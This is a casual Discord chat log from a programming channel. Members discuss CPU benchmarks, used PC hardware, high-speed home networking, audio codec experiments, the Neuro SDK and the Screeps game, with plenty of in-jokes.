programming

[tender river]

mto

dev c++ i remember it

[faint sandal]

idk what my nightmare says about my mental wellbeing

cuz that was fucked up dawg

[glad path]

tf is this ad 😭

i keep getting it

[fast pagoda]

immediately uac

that IS the most you dream ever

[faint sandal]

deadass why is that the first thing my dream hinges on

🥀

[fast pagoda]

daveplummer would at the magnitude of taskmgr as well tbh

[faint sandal]

still blocked btw

[fickle rain]

Wasn't this guy sued for scamming?

Dave Plummer ran a scam company that was sued by Washington State in 2006, "SoftwareOnline.com, Inc. ". He actually left Microsoft specifically to run this company. Court documents can be seen here:

<blocked link here>

You can find David W. Plummer listed in the court complaint.

The short of it is that it was an online software scam company that tricked people into downloading fake Anti-virus and security software using online ads, and then the software delivered additional adware and nagware onto users machines.

[faint sandal]

he's always been an ass afaik

therefore has been clowned on by the windows internals development community at large

[real sierra]

omw home to fix the screeps attack feature so I can reduce sam to ash

[nocturne olive]

[real sierra]

good choice

[patent shard]

my eaaaaars... have been graced by

the signature cave sound is because of parametric stereo

true stereo
I have a feeling the bitrate is so cut that it basically turned mono

and it sounds more cave like.. guess that wasn't all parametric stereo
whelp

it's frequencies missing

Listening

[glad path]

the start sounds like drinking a bowl of soup LOL

[patent shard]

it'd be a loooot better if it started the sbr frequencies sooner.. but I can't control that

it's cool, though, it makes its own music mhm

[patent shard]

it won't play in Discord but.. why does Vorbis support this

the notes are actually changing from the original song O.o

oh, could be only the harmony fit in parts

[queen ginkgo]

MY EARS

[viral oasis]

[patent shard]

for me it just doesn't play at all, huh

https://github.com/ZFTurbo/Music-Source-Separation-Training/releases/tag/v1.0.21

this is part of the guitar stem for the NEVER song
lovely guitar mhm

this one is okay, I guess

obviously a 53 stem model is not going to be as good as a dedicated one
also, what's the instrument 57 seconds in... the guitar stem caught it, too

[patent shard]

yeah, it's... meh
for a 53 stem model, yeah, not bad
but bs roformer sw that only does 6 stems is better
anyway

[stark needle]

Bruh

So many stems

[patent shard]

another thing is this is processing the instrumental.. it's worse when running it on the full song

[true hemlock]

they dropped both fp64 and int8

[patent shard]

oof

[true hemlock]

e waste

[stark needle]

And int4

3090 literally had int4

4090 killed it

Came back as fp4 in 5090 lmfao

[true hemlock]

oem epyc it seems i can't find the one that has 92 or 182 cores. actually it might be multiple nodes of 23 cores epyc at 2dpc memory running 4400MT/s, total of 16 epyc cpus

yeah, lines up to their table's 6.7TB/s

wait tf

hbm?

okay

its definitely oem

the only time i've heard epyc using hbm is on those amd APU accelerators

[true hemlock]

imma be honest

int8/4 >> fp8/4

[patent shard]

idk what the heck I did but somehow I created a 16+ minute audio file that has random noise throughout
Discord won't play it, they hate Speex
it was supposed to be dreamin' chuchu

[true hemlock]

why haven't i gotten ksp yet

i really wanna build a replica of the hail mary ship

[patent shard]

only 12.7kb zipped

yeah, something is broken
as for the noise being choppy, that's because it's using the ultra low bitrate 0.25kbps DTX mode

oh, it doesn't support flac input

[true hemlock]

https://www.ebay.com.au/itm/188277774702

[glad path]

-> ksp
-> $40

wait for discount

i got it 75% off

i started playing before artemis 2 so im an og now i guess

(like two weeks before)

(actually unrelated to artemis 2 though, i was just interested and it looked fun)

[tender river]

almost 10 years since i last played it

long

[stark needle]

There's even a 24 core or sth machine with 6.3TB/s

All machines in the lineup go to 6.3TB/s

I mean 48 wait

[real sierra]

2017 was almost 10 years ago?

[true hemlock]

its the custom amd board

most definitely

https://overclock3d.net/news/cpu_mainboard/amd-creates-custom-epyc-cpu-with-hbm3-memory-for-microsoft-azure/

[stark needle]

the fastest inference machine was a cpu all along

Actually how much does it cost

LMFAO 4$ SPOT PRICING WHAT AHHAHAHAHAHA

FOR THE 368 CORE ONE

[true hemlock]

epyc 9v64h

92 core

[jagged turtle]

no it doesn't

[real sierra]

[jagged turtle]

there's something else calling my name though

-# (hint: it's #1350968830230396938)

[vague sonnet]

where do I buy this

[patent shard]

it's a mobile app thing

This one sounds cool on mobile

Sounds like an arcade machine near the end mhm

[frozen hollow]

Is neuro SDK still the way to go if you want to try your hand at building a neurosama compatible game integration? I haven’t kept up much since the subathon

[glass jetty]

it is interface between vedal proprietary code and contributors, so surely yes

he doing rewrite btw, just in case

[vague sonnet]

it's not done?

or do you mean sdk rewrite

[glass jetty]

idk

[glass jetty]

i saying just in case, i not follow

[vague sonnet]

oh ok

pretty sure yesterday's stream was post-rewrite

[frozen hollow]

Of the sdk or backend systems?

[vague sonnet]

backend

that's why I asked if Toast meant sdk rewrite

[tender river]

which one

[vague sonnet]

Toast

[glass jetty]

Toast who Toast

[frozen hollow]

Alright yeah I see you get very little control over the ambient context it seems - you send it in but you can’t deterministically clear it intelligently

[glass jetty]

banana one

deterministically you cant do anything

it is ai

[vague sonnet]

determinism in LLM tech?

[frozen hollow]

Yes? The context window buffer contents

[jagged turtle]

he is not rewriting sdk

or at least the part that faces us

[jagged turtle]

I mean how else are you gonna try

[frozen hollow]

That is why I’m asking

So I’m not trying to integrate to a deprecated system

[vague sonnet]

oh ok

[jagged turtle]

if it was deprecated the repo would've said so

[frozen hollow]

[vague sonnet]

if only it worked like that loool

a lot of deprecated repos can only be recognised by looking at last commit date

[glass jetty]

surely, but backend logic may be changed -> may contain bugs

[jagged turtle]

the part that concerns us isn't being rewritten and I believe that was what is being referred to

[jagged turtle]

usually yeah

[vague sonnet]

tbh there is like no point changing the API until he switches off LLM tech

[jagged turtle]

probably, but even if so that'll never happen

[vague sonnet]

surely vedal is smart enough to grasp new tech when he learns about it

[trim valve]

succesfully finished my terrible userscript from last night

its actually relatively performant, somehow

though, browser security seems to be forcing me to download every image twice which sucks

[vague sonnet]

just do it once

instead of twice

trust

[fast pagoda]

@real sierra https://store.steampowered.com/app/2060160/The_Farmer_Was_Replaced/

Steam

The Farmer Was Replaced

Program a drone using a simple python-like language to fully automate various farming tasks that would otherwise be very grindy. Feel the satisfaction of simply pressing "execute" and watching your drone do all the hard work.

Unlike most programming games the game isn't divided into distinct levels that you have to complete but features a cont…

Price

$7.99

Recommendations

7797

[real sierra]

i have it already

[fast pagoda]

i knew that was gonna happen

[real sierra]

i kinda avoided it for the longest time because i thought it looked too simple

then someone gifted it to me

and i was right

[fast pagoda]

kekw

[real sierra]

it was a fun puzzle to solve

[fast pagoda]

i just saw it checking on turing complete

which is

still in ea

somehow

[real sierra]

but i feel like i've solved it as much as it needs to be now

[fast pagoda]

https://store.steampowered.com/app/1444480/Turing_Complete/ early access since oct 2021

Steam

Turing Complete

-= LEARN =-

Everything in a computer can be constructed from a basic component called a NAND gate. You will be challenged through a series of puzzles, to discover the path from NAND gates to arithmetic, memory and all the way to full CPU architectures. If you complete this game, you will have a deep understanding of how assembly, CPU instructi…

Price

$19.99

Recommendations

4970

[trim valve]

browser says no

anyways now ive made a random niche userscript what do I do with it

like, I went into the random side project thinking I'd give up

im not used to finishing projects

im tempted to rewrite this an an extension, it might avoid some of the annoying issues that a userscript has

[rough bloom]

extensions are so inconvenient though

have to deal with Chrome Web Store

[trim valve]

firefox sold out

now chrome

[stark needle]

Chat is it even possible

That the software I'm supposed to take over is somehow breaking ALL of the OWASP Top 10 guidelines

Genuinely i should ask to rewrite this garbage from scratch

[olive sable]

Goodmorning

my screeps are ding good

im on controller level 3

better than shiro

[rough bloom]

yes

[rough bloom]

yes

[opaque sigil]

surely they'll accept your proposal

[olive sable]

shadow explained mor eof the security issues elsewhere

and damn

its even worse than you'd think

being a client off that company actively puts all your money at risk

[glass jetty]

we need more toast

still too many non toast

[sage crag]

tost

[olive sable]

tost

[true hemlock]

tost

[warped narwhal]

tost

[rough bloom]

tost

[glass jetty]

lost

[sick owl]

toast

[olive sable]

[glass flower]

tst

[olive sable]

im looking at what cloud is doing

no roads, but better upgraded screeps

they basically just dont have any builders yet

[vague sonnet]

Toast

[jagged turtle]

tt

[glass jetty]

what the hack is that you talking about

[olive sable]

screeps

[glass flower]

is it screeps time again?

[olive sable]

[glass flower]

if i were to play again i think this time i would just use typescript tbh

and start fresh now that i have a better idea of how things evolve over time

[fast pagoda]

tsaot

[glass flower]

aostt

[fast pagoda]

aosp

tosp

toast open source project

[glass jetty]

about what?

[fast pagoda]

bread

and transforming it to the new version known as toast

[olive sable]

[proven merlin]

Tasty open application (of) satiating Toast

Or ig another idea would be
Tasty Oven-fresh ancient-grain sourdough Toast..

[fast pagoda]

toast - self referencing acronym

toasted over a steady temperature

[proven merlin]

That's clean

[fast pagoda]

i like the hyphens to get 6 words in though

oven-fresh ancient-grain

[sage crag]

toast:

toast ooast aoast soast toast

[proven merlin]

How about collaboration:
Tasty Oven-fresh ancient-grain sourdough Toasted over a steady temperature

[olive sable]

the t in toast is short for toast

and so is the t

[proven merlin]

(also god damn it, everytime i hear collaboration i think of Dr.Hakim from It takes two..

"Coo-laboraaa-tion"

[proven merlin]

Oh! T could also mean Thinly-sliced

[sage crag]

@fast pagoda

2 processors, 7 cores, 12 threads

https://browser.geekbench.com/v6/cpu/17735870

it not very high, not sure where this comes on the standard deviation

above average

"maximum frequency 5100 mhz"

i ran this benchmark while watching a youtube video

[opaque wharf]

TOSP. TOSP Open Source Project

OSP are the key to recursive acronym

[fast pagoda]

what the helly

[sage crag]

7 cores

good pc

ye

[olive sable]

2 processors?

[sage crag]

i dont know

[fast pagoda]

cpu made of queerium

what happens when that much yuri flows thru a processor

[olive sable]

the extra processor seems to have added a 7th core, but that core has no threads

[sage crag]

[fast pagoda]

maybe disabled core that wasnt disabled enough

lol

[olive sable]

i mean, the 7600 is made from an 8 core chip with 2 of them deactivated

so

its seeing the ghost of the old cores

[maiden geyser]

Dave Plummer vs Chris Boden, who wins

[sage crag]

https://browser.geekbench.com/v6/cpu/17736346
cpu no longer queer

good results probably

[umbral wigeon]

I'm jealous of macbook users

They have local ai

[sage crag]

multicore score could be higher

[umbral wigeon]

How much?

[sage crag]

single core score might be okay

top whatever the %

[olive sable]

Geekbench 6 right?

[umbral wigeon]

This is expensive than my every objects in my house lmao

[sage crag]

[umbral wigeon]

The prices makes my eye bleeding

[olive sable]

[fickle rain]

Keep in mind GB6 doesn’t do multicore bench the same way Cinebench/whonot do

[sage crag]

too bad i cant run cinebench

[olive sable]

Geekbench 6 seems to not be using that much power

[fickle rain]

Which means you get silly numbers like this, which yeah
In tru big parallel workload 3990X will win hands down

[olive sable]

Barely uses 70W even with pbo

[sage crag]

naturally

[olive sable]

ok i got only 8000 multi core on a 5950x
something aint right here

[sage crag]

single core benchmark is so funny

its 0% most of the time and sometimes it reaches 80% for a bit on one core

[olive sable]

[nix-shell:~]$ cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave
powersave

[nix-shell:~]$ 

[sage crag]

switching browser tabs boosts my cpu more than this benchmark

legitimately

[umbral wigeon]

This prices in my country, savalry jobs get paid about 20,000 and 30,000 THB per month
And you're gonna spent months just to buy this

[olive sable]

different economy

and you shouldnt buy cpus new

[sage crag]

multicore benchmark not even boosting to 5ghz

[vague sonnet]

really? haven't heard that before

[olive sable]

it depends

but brand new 5950x is like 800 euro, and you can get them used for 150

[umbral wigeon]

What is USA economy feels like right now

It is that bad

[vague sonnet]

on the specific model?

[olive sable]

it depends on some luck for how cheap people sell it, and the specific performance of the cpu

[opaque sigil]

it's 320 on amazon but yeah

[olive sable]

launch price was 800, now they're 350 brand new.
my point still stands, they're 150 used

[vague sonnet]

actually fuck it, drop complete pc buying knowledge on me
I'm getting a new one in 1-2 months but I'm not a hardware nerd so I don't know shit

[sage crag]

wrr

[olive sable]

used market go brrr

thats basically it

[opaque sigil]

gamble responsibly

[vague sonnet]

what should I NOT get used?
stuff like SSDs I would assume?

[olive sable]

mainly storage ye

[vague sonnet]

power?

[opaque sigil]

refurbished storage is nice tbf

but yeah, probably don't want to buy a random ssd from lil timmy that he used for god knows what

[olive sable]

for PSU you can go used, but make sure to get a good one

i have bought 2 of the exact same psu used because i know its a good one

RM750X my beloved

[vague sonnet]

so is it just storage that I should avoid used?

don't GPUs wear out enough for it to matter?

[olive sable]

just make sure its not a mining gpu

besides that you're fine most of the time

[opaque wharf]

Naah, even mining doesn't put that much strain usually

Especially since miner usually undervolt to save power

[opaque sigil]

translation: be careful with 3090s and 3070s

a smart miner does

not everyone is smart

[olive sable]

the main issue with used market is scams, not bad hardware

[opaque sigil]

living somewhere with stupid expensive electricity so mining was never worth it helps i guess

[olive sable]

so far everything i have bought has been fine, except for the mobo i got with my 5950x+64gb ram+mobo for 300 euro

but the ram and cpu working makes up for it

gskill RMA my beloved

[opaque sigil]

so was it the motherboard in the end

[olive sable]

Ye

[opaque sigil]

cheapest component

[olive sable]

Oh are you not upto date on the mobo shit?

Missing capacitor

[opaque sigil]

bruh

how

[fast pagoda]

theyre waiting for their buddy 7th heaven

[olive sable]

Im geussing it got knocked of when i or the previous owner inserted ram

[opaque sigil]

idk if i should blame the user or designer

[olive sable]

But my first ram was dead almost as soon as i had it, so im choosing to blame the previous guy

[opaque sigil]

having a cap between ram slots seems like a dumb idea if there's literally any other option (i feel like there might not be one)

[olive sable]

Im pretty sure most mobo have caps there

[opaque sigil]

wouldn't surprise me

[olive sable]

Anyways, i upgraded the mobo from an msi x570 tomahawk wifi, to a gigabyte x570 aorus ultra

So i have better everything now

[opaque sigil]

wait, didn't you get an aorus master

[olive sable]

Nah, the ultra

Master is similair, but has some different pcie config making it worse for me. But it has better OC stuff

[opaque sigil]

ah

[fast pagoda]

Lmaooooooooooooooo

[sage crag]

i have the smartest ryzen 5 7600 in the world

very proud of it

but

[fast pagoda]

most empathetic

[sage crag]

it wont move out

[fast pagoda]

very human

[sage crag]

its about time it got a job

[fast pagoda]

its job is encouraging the other 6

[sage crag]

support your mother you unfilial cpu

[olive sable]

why is my cpu ass?

[sage crag]

pay rent

garbo

[fast pagoda]

0 cores

[olive sable]

[fast pagoda]

you have a ccd disabled?

did you turn on x3d turbo

[olive sable]

i dont have x3d

[fast pagoda]

🥀

[sage crag]

0 cores means that running the singlecore benchmark will take approximately

infinity

[olive sable]

[fast pagoda]

you can still disable a ccd on 2 ccd chip

[sage crag]

does zen3 have multiple ccds

[olive sable]

iirc my cpu has 2 chiplets

[sage crag]

i read somewhere that zen4 has only 1 ccd

which i trust wholeheartedly and completely

[olive sable]

internal distibution only

[sage crag]

amd confidential

good to know the general public are all amd employees

i dont seem to be getting paid though?

[fast pagoda]

you are late as fuck to work konii

[sage crag]

that explains it

[sage crag]

"my ratata is in the top 1% of all ratata"

[fast pagoda]

ranked competitive goldeen

[trim valve]

thank you last person who worked on this for enlightening me with networking I could have never even imagined

[nocturne olive]

2x cables = 2x internet

[sage crag]

my team of 6 goldeen painted orange are going to absolutely destroy the magikarp competition

[fast pagoda]

it's got network b00st on that swatch

[sage crag]

everyone knows blue cables are slow though

[fast pagoda]

wrong shade of gold = it's presidente time

[sage crag]

cable needs to have a woven exterior to be fast

and gold plating

[fast pagoda]

magikarps struggle mightily

gold veneer on the fins

extra crazy tacky style

[nocturne olive]

My blue cable is meant for 10Gbps

[sage crag]

blue cables are sloowww

[fast pagoda]

it's true, blue is actually a goo

[sage crag]

if the cable isnt a flexible cable with woven exterior and gold plated connector then it is only half the speed

so it cancels out

[olive sable]

I have orange cat7, for fast 10gig.

But my modem does 100mbps max

[fast pagoda]

bro what

[sage crag]

my router is connected to my pc with a cat8 cable

my network speed is

30mbps

[fast pagoda]

cat8 is cheaper than cat6 here

[trim valve]

my cat is connected to the router with an ethernet8 cable

[sage crag]

imagine how slow it would be with a cat5 cable smh

[sage crag]

how many megabits per second does your cat uh

[fast pagoda]

i just got the first cat8 to run it alongside a 2nd cat6 to plug in the server twice

[sage crag]

download

[fast pagoda]

1 can of megamince a day

[sage crag]

why arent you using a 10km wind of fibreoptic

that you cut and crimp when you need a new cable

[fast pagoda]

lmao my dad has a fucking spool of cat6e that he cant get rid of

[sage crag]

you can pass it down to your kids

as like an heirloom

[fast pagoda]

when we rewired the old house like 15 years ago

[opaque wharf]

Red goes fast

Ork best

[sage crag]

red cables are faster than green cables and blue cables

white cables are the slowest cables

yellow cables are faster than green cables but not as fast as red cables

[fast pagoda]

I keep it rainbo

highhly clean

[sage crag]

pink cables are as fast as green cables

black cables are as fast as blue cables

orange cables!!

very fast

not as fast as red

purple cables

im lacking data for purple cables

someone please substitute

we should make all cables transparent to teach younger generations not to fear touching live wires

[fast pagoda]

[sage crag]

yes that is

the intent

[true hemlock]

gb6 is shit at multicore above 12c

[true hemlock]

mining gpu is better tbh in general. lots of miners would know to undervolt to maximize profit and they ran constantly so no thermal shock

[maiden geyser]

is it cat8 though?

[true hemlock]

it is

cat8 are dirt cheap

but good luck finding compatible port for 10GbE and above lmao

[fast pagoda]

mobo with 10 gbe

no pci lanes tho

[trim valve]

[fast pagoda]

🥀

[trim valve]

im very tempted to meme my way into 40gbe

[fast pagoda]

shshh no that's not possible

[trim valve]

it calls

[olive sable]

Can a pcie gen4 x4 slot do 10gig?

[nocturne olive]

Need 5 lanes

[olive sable]

[nocturne olive]

Oh wait

Me stupid the chart has GB/s rather than Gbps in specifically one spot

So that means actually x1 could do 10Gbps

[olive sable]

As soon as i get fiber imma get one of them

[trim valve]

iirc these cards have a few shenanegans you have to do to make them work nicely

[olive sable]

[true hemlock]

they do

in fact that's how most onboard 10GbE is wired

[olive sable]

Ye geekbench 6 kinda sucks for me, its completely unable to make my cpy draw even the stock 105W tdp. And i have pbo set to mobo limits

[trim valve]

sam try bogosort

[trim valve]

[olive sable]

The multicore shit makes my cores only go to 70% at most

[true hemlock]

geekbench is ass yeah

its why some apple bros go "our M5 beats your 9995wx"

[olive sable]

but for me specifically it sucks even more than it should

https://browser.geekbench.com/v6/cpu/17737263

[mighty thorn]

True

BUT

Apple silicon is goated

[trim valve]

i did some looking, it looks like some cards are ethernet only and some are flashed to vpi but can do ethernet

so you just have to reflash those to ethernet to make them work

[sage crag]

ye different cpu🦆

[keen hatch]

200 Gbps

[true hemlock]

@stark needle your competitor

[sage crag]

i had same issue where multicore bench didnt fully utilise

it just bad benchmark

[true hemlock]

same

fucking beautiful

[olive sable]

ye but my 16 cores are getting lower score than your 6 core cpu

[trim valve]

sam what would you even do with 40gbe

[olive sable]

compared tot he other 5950x's ont he website im doing terribely

[trim valve]

I have like, two ideas for what I'd do and they're both terrible

[olive sable]

fast internet. and network to 2nd pc

[trim valve]

but like

do you even do stuff that would saturate that

[olive sable]

nope

[trim valve]

[olive sable]

i only want 10gig cuz fiber will be 10gig, and i need my games to update faster

[dull egret]

Got that new (Open Box) PSU I ordered 🔋

Seller decided to put Vedal tape all over the box

[olive sable]

tutel

[true hemlock]

its affordable

somewhat

[trim valve]

holy hell

idr if steam even lets you do much more than like 3gbit

[olive sable]

as long as its faster than my current 100mbps

[opaque sigil]

with a threadripper maybe

[true hemlock]

local network and internet are sorta separate in my case

[rigid snow]

i like the "in my case"

[true hemlock]

fucked up though

1GbE

2.5GbE

[nocturne olive]

Very networked

[true hemlock]

then all of sudden the triangular 40GbE

[rough bloom]

what does "public" and "private" mean here

[true hemlock]

[trim valve]

write a steam client that just copies to memory, then once downloaded actually unzips

[true hemlock]

something something tailscale

[trim valve]

maximize network numbers

[vague sonnet]

public means you can come and take it

[true hemlock]

chat hop on f@h

with my bros

[rough bloom]

the public hosts have funnel access or what

[true hemlock]

im vagueposting here because we haven't actually finalize stuff and do it yet

[rough bloom]

so it's just vague

that works

[dull egret]

"Phi server"?
Not sure what that means. All I'm coming up with is, Xeon Phi cards, but there's no versions after 2017, so that would be ANCIENT tech.

What IS a "Phi server"?

[true hemlock]

[olive sable]

does geekbench jsut suck extra hard on my pc for no reason?
nix-shell -p stress-ng --run "stress-ng --cpu 32 --cpu-method matrixprod --metrics-brief --timeout 60" manages to get 130W while geekbench just does 70

[opaque sigil]

https://fxtwitter.com/OpenAI/status/2046589828918317155 strim in 4h15m

OpenAI (@OpenAI)

This is not a screenshot.

**💬 475 🔁 285 ❤️ 3.8K 👁️ 218.4K **

FxTwitter · Apr 21, 2026, 2:00 PM

[young plover]

Nah, I have 2+ gbit and Steam never saturates it. miHoYo game updates can.

[glass flower]

that is indeed a screenshot

damn even their twitter is hallucinating

[true hemlock]

toast and toast are typing

[opaque wharf]

If it is not a screenshot, then what is it

[opaque sigil]

yes

[true hemlock]

Toast, Toast and Toast are typing

[rough bloom]

oh also quackToast, just something to keep in mind
you definitely don't want to run Tailscale over those 40 GbE connections, and ideally not even over the 2.5 GbE connections, though that's still reasonable

[olive sable]

same board as afunyun no?

[opaque sigil]

might be time for a cpu upgrade

[true hemlock]

tailscale uses the 1GbE

if you look into the image there's 1GbE switch connecting everything

[rough bloom]

ye, I saw

[true hemlock]

though its meant for internet but doubles as interconnects

[rough bloom]

just wanted to make sure that you weren't hoping that you could route 40 GbE via Tailscale

because it will not do that

[young plover]

From an R9 9950X? 💀

[opaque sigil]

threadripper time

[true hemlock]

what you can do with it though

is instruct the machines to transfer via 40GbE

[rough bloom]

ye

[true hemlock]

though that's basically outside tailscale

[rough bloom]

very nice for management

[dull egret]

Very interesting

[young plover]

I have a 7955WX at work and it's sad because it's just a 7950X with more PCIe lanes. So my home desktop is faster.

[opaque wharf]

What kind of management would need over 10Gbe?

[rough bloom]

not the 40 GbE

Tailscale

[true hemlock]

for 128 5.0 ig

[opaque wharf]

Ahh

[trim valve]

i don't see why not

private relay

[rough bloom]

because VPN

encryption slow

CPU not good enough

[true hemlock]

OKAY

BET

[rough bloom]

ye

try

[true hemlock]

my cpu is good enough

[opaque sigil]

challenge accepted

[trim valve]

id be shocked if that was the bottleneck

[rough bloom]

it's not that outlandish tbf, theres ways to do it probably

[opaque wharf]

40gb/s aes lfg!

[rough bloom]

it was when I did Tailscale over 25 GbE

[trim valve]

[true hemlock]

the holy trinity 9950x3d es, 3990x, 9655

[true hemlock]

what cpu

[rough bloom]

7950x and some shitty Epyc

[young plover]

Don't use most of those but I remember now it has 8 channel RAM, fully populated. I wonder if that bandwidth actually does anything for compile times.

[true hemlock]

okay fuck maybe my 9950x3d cant

[true hemlock]

bruh they used the low tier tr for compiling and not the... lanes?

[opaque wharf]

According to google

The fastest AES speeds are achieved using AES-NI hardware acceleration (Advanced Encryption Standard Instruction Set) on modern CPUs, often exceeding 5 GB/s (gigabytes per second) or 40 Gbps (gigabits per second) using modes like CTR or GCM

[rough bloom]

it may have been some AES extension thing too, there's ways to optimize it probably

I just didn't bother because VPN over a single ethernet link is dumb

waste of CPU power

[true hemlock]

fair

[young plover]

[dull egret]

Yooooo, I didn't know Phi had SMT4

The highest model I'm seeing for that board is 72/288

That's fucken crazy

[trim valve]

nee, don't trust your wires

[olive sable]

we're at the point where satisfactory is a better benchmark for my cpu than geekbecnh. satisfactory actually uses more power than geekbench is using

[rough bloom]

unplugging everything

[opaque wharf]

Try FEM in freecad

[young plover]

72 Intel Celery cores

[true hemlock]

scissors

ez

[young plover]

Probably worse cores actually

[opaque wharf]

Or fluidsim in whatsthatopensourcefluidsimsoftwarename

[true hemlock]

shit cores

[rough bloom]

[trim valve]

why must 40gbe so hard to find a justification for

[true hemlock]

like actually sub 1.5ghz shitcores

[opaque wharf]

Hear me out, become local ISP

[true hemlock]

wdym

[trim valve]

I am on a uni campus, we have our own isp

[true hemlock]

its cheap

why not

[trim valve]

the 1gbe works

[opaque wharf]

Yes, exactly. You sold those uni uplink to the outside world

[rough bloom]

is 40 GbE even significantly cheaper than 100 GbE?

[true hemlock]

fuck

[olive sable]

cloud seems to have died in screeps and moved down a room. now they're also my neighbour

[true hemlock]

well

[trim valve]

at that point why not go 400gbe

[true hemlock]

i'd argue 40GbE sweet spot because uhhhhhhhh

pcie resources

[rough bloom]

it actually is somehow, at least the NICs

[opaque sigil]

at that point why not go 800gbe

[trim valve]

multi terabit internal network

[opaque sigil]

can't be that expensive

[rough bloom]

I thought they'd both be expensive because QSFP but I guess not

[true hemlock]

need 2 full x16 5.0 lanes

[true hemlock]

40GbE are like $30 here

[trim valve]

this is cursed

[opaque wharf]

Many datcen has decommissioned the old equipment it seems

[opaque sigil]

i feel like that'd be the smallest problem

[rough bloom]

ye, but I thought DCs just went straight to 100 GbE too

[dull egret]

Nice

[opaque wharf]

What could possibly saturate 800gbe

[rough bloom]

similar to the situation with 2.5 GbE, though that may have changed by now
10 GbE existed before 2.5 GbE, so 10 GbE was cheaper for quite a while

[opaque sigil]

my lil 5900X can do 53GB/s of aes-256-gcm

[opaque wharf]

Funnily enough, I think 2.5Gbe are developed after 10 to 100 jump

[rough bloom]

yee

[trim valve]

even doing napkin math I can't seem to saturate 1gbe with ndi

it'd be like 10 simultaneous uncompressed streams

[opaque wharf]

So you need 100GbE, surely

[olive sable]

just looked at the guy that is topleft of shiro.

[trim valve]

like maybe if every single camera fed into NDI and you switched from the NDI side, but?

headroom is nice

[opaque sigil]

gpudirect rdma can iirc (with enough gpus and nics)

[umbral wigeon]

Why do some low level project have weird code bro

[trim valve]

several uncompressed 4k 240hz hdr streams

[umbral wigeon]

What is even going on

[young plover]

C

[opaque sigil]

looks like normal C to me

albeit with weird formatting

[fast pagoda]

imagine not using neurosamakaraoke speedtest

[umbral wigeon]

And I saw a lot of hex and bitwise operations used like everywhere lmao

[opaque sigil]

yeah cause they're faster

[trim valve]

at this point what doesn't that website have

[umbral wigeon]

Is hex really that easy to convert into binary

[trim valve]

can they add facebook marketplace to it

[umbral wigeon]

Oh is it

[fast pagoda]

i wroote it

[opaque sigil]

hex is a nicer way to write binary

[umbral wigeon]

Yeah agree

[opaque sigil]

who wants to look at 64 bits

[umbral wigeon]

Is like binary but readable

[fast pagoda]

they use cf r2 storage

so like

no egress

afaik

[opaque sigil]

well idk about readable, just less characters to type

[opaque wharf]

To coffee or not to coffee

[opaque sigil]

is late

[opaque wharf]

Correct

I love them for that alone

[rough bloom]

Cloudflare bad

[umbral wigeon]

I asked ai, it gives me this
0=0000 1=0001 2=0010 3=0011
4=0100 5=0101 6=0110 7=0111
8=1000 9=1001 A=1010 B=1011
C=1100 D=1101 E=1110 F=1111

0x2F5
2=0010
F=1111
5=0101
Result: 001011110101

[rough bloom]

too centralized

[rough bloom]

but

their services are too good

[umbral wigeon]

I never thought hex would be this easy

I thought it was some nightmare

[opaque wharf]

Exactly lol

I do hate that they are one entity that are able to provide that good of a service

[fast pagoda]

cloudflare is technically the opposite of centralized

like it's one organization but the actual services arent

although they can kill themselves still

[rough bloom]

I get what you mean but no

they are peak centralization

[fast pagoda]

yeh in that sense they are

[opaque wharf]

Google, AWS, Azure

[rough bloom]

like half the internet goes through Cloudflare

[fast pagoda]

it's i think more than that

[opaque wharf]

Wait, it isn't akamai?

[fast pagoda]

oh it was

they directly do 20%

[opaque sigil]

it's not one centralised server at least

[fast pagoda]

but about 80% of all reverse proxies

[opaque sigil]

still not great

[fast pagoda]

right that's my point

theyre technically all over the place

but

it is possible for the service to take itself out

and then that sucks

but even then they can mitigate a lot

on occasion you get nightmares tho

[rough bloom]

not physically located close together (would be insanely stupid) but managed together

[fast pagoda]

the edge

[opaque sigil]

at least you won't go down alone so you can blame cloudflare together

[fast pagoda]

of the fattest buttcheek of the borgouise of the cloud

[rough bloom]

adding more third-party points of failure until only a tiny minority of incidents is self-inflicted

[wispy pike]

hex is indeed super easy, it's just the base of binary to another power

[umbral wigeon]

I'm kinda cooked bro

I've scripting for 3 years but never knows how to do basic arithmetic, I just open google

[wispy pike]

lmao actually a vibe coder smh

well actually the term before that is script kiddie

[umbral wigeon]

I'm def a both vibe coder and scripter, programmer

[true hemlock]

naw

hell naw

[wispy pike]

damn I'm old

[wispy pike]

hell yea

[umbral wigeon]

And I don't understand projectile math library but I managed to added multi-threading, parallelism, API, vm to it

[stark needle]

Damn my true competitor

I need 1 more now then I'm the king

[umbral wigeon]

I'm a professional googler

Trust me

[opaque wharf]

The biggest cost of "enterprise" software. The scapegoat

[stark needle]

Chat is it possible that i somehow had to explain to the long standing engineer what a sql transaction is

[glass jetty]

yes

btw, i had to explain what threads are to 35 years engineer

that work with c++

[umbral wigeon]

Intreviewer: what is a vexing parse in C++

[stark needle]

What

[glass jetty]

(he never did anything outside qt widgets, only ui and only main thread)

[stark needle]

Do people not have this in uni😭 😭 😭

[glass jetty]

so he basically not even knew what memory bariers are

[stark needle]

Bro i dont even have high school and know all this😭 😭 😭 😭

[umbral wigeon]

Intreviewer: Class static lifetime vs static members/field inside class lifetime

Intreviewer gonna gatekeep you

[glass jetty]

some ppl just stop learning when they graduate

[stark needle]

[umbral wigeon]

They gonna humble you with these question, nobody can answer

[opaque sigil]

shadow you're vastly overestimating the competence of your average programmer

[glass jetty]

idk what this parser is

i never made parsers bigger than find some set of pattern

[glass jetty]

base

singleton vs monostate

[fickle rain]

IIRC related to templates

Nope

[umbral wigeon]

I get intreviewed and humbled, so I wanna share and yall don't be like me lol

[glass jetty]

ah, i just know how it works, what exactly this parser do?

[wispy pike]

https://tenor.com/view/neuro-sama-vedal-nodders-neuro-nodders-gif-27335635

[umbral wigeon]

Try avoiding questions nobody can answer

[glass jetty]

so is it or not?

nvm i gonna google

[fickle rain]

In certain situations, the C++ grammar cannot distinguish between initializing an object parameter, declaring an object or declaring a function while specifying the function's return type.[1] In these situations, the compiler is required to interpret the statement as the latter, even though this is rarely the programmer's intention.

Le Wikipedia

[wispy pike]

@stark needle was that engineer doing anything in the back end? sounds like a webdev to me

[opaque sigil]

i hate these useless trivia interview questions

[stark needle]

Yes they were a backend engineer😭

[wispy pike]

THE FUCK

[glass jetty]

static duration is base

[glass jetty]

yeah not making this up

[stark needle]

Backend/data

[wispy pike]

